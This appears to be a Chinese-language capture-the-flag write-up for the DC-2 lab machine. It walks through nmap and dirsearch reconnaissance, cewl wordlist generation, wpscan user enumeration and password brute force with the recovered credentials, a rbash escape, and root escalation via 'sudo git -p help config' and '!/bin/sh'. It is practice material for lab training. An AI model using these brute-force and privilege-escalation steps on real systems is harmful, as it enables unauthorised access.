DC-2靶机

环境搭建

下载地址

vmware导入镜像文件

信息搜集

探测靶机目标ip地址

netdiscover -n 192.168.177.0/24

192.168.177.98

攻击机使用kali，IP地址为192.168.177.39

端口扫描

nmap -sV 192.168.177.98

综合扫描，扫描全端口

nmap -A -p1-65535 192.168.177.98

实操+脑洞

只有一个80端口还打不开，直接跳转

修改一下host配置文件

192.168.177.98 dc-2

刷新页面

得到flag1，网站指纹使用工具查看到

wordpress4.7.10的版本，apache版本2.4.10，数据库mysql。kali用dirsearch扫描一下目录

python3 dirsearch.py -u "http://dc-2" -e *

!

也只有后台的地址能够利用

但是账号密码都没有。

使用admin用户登录和使用admin1登录报错不一样，存在用户名为admin的用户

msf下找一找有什么利用工具

searchsploit Wordpress

没有脚本都是txt并且内容还多不可行。针对于Wordpress的漏洞利用找一下有什么工具

有漏洞利用框架，flag2的提示是需要使用cewl工具，cewl的功能百度查看下，类似于深度爬虫Ruby，起码这个时候思路应该是没有问题，直接使用cewl命令报错，所以kali的机器也得修改hosts文件了

vim /etc/hosts

cewl dc-2>1.txt

WordPress Exploit Framework框架安装起来确实麻烦,但是wpscan是kali自带的扫描该中间件的工具，使用生成的1.txt的密码爆破一下

没有密码，这不符合逻辑，是不是字典出问题了，找了个wordpress的常用弱口令字典还是没成功。这里忽略了一个问题，应该先爆破一下用户名

wpscan --url http://dc-2 --enumerate u

依次爆破

wpscan --url http://dc-2 -Ujerry -P 1.txt

jerry/adipiscing

wpscan --url http://dc-2 -Utom -P 1.txt

tom/parturient

尝试后台登录和登录ssh

ssh tom@192.168.177.98 -p 7744

看到了flag3.txt，但是使用命令打不开，尝试一下suid提权

提不了权，只能使用ls命令。

绕过

百度一下需要绕过rbash，使用vi编辑器

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

读取flag3，提示切换用户

su jerry

切换到jerry目录下可直接读取flag4

提权

切换后本来想着find提权，但是存在suid文件，还是find提权不了，这里有点奇怪

事实证明是命令写错了，，，，，，，，flag4的提权提示git，也是需要搜索一波

sudo -l

git有root权限

sudo git -p help config

输入

!/bin/sh

此时已经是root权限了，在根目录下读取最后的flag

缺少flag2，登录后台尝试，两个账户都能登录

事实上，只有jerry用户才能看到page页面的flag2，tom用户权限是看不到flag2的.

小结

这个靶机的难点在于读取flag3有难度，需要绕过rbash，确实遇见过，耗费的时间很多,其次就是注意利用git提权，脑洞也很关键。

    W3_1Day 将标题更改为 「帅哥小姐姐看过来-BlueMoon靶场渗透」。
      W3_1Day 将标题更改为 「帅哥小姐姐看过来-某靶机渗透」。
        4 天 后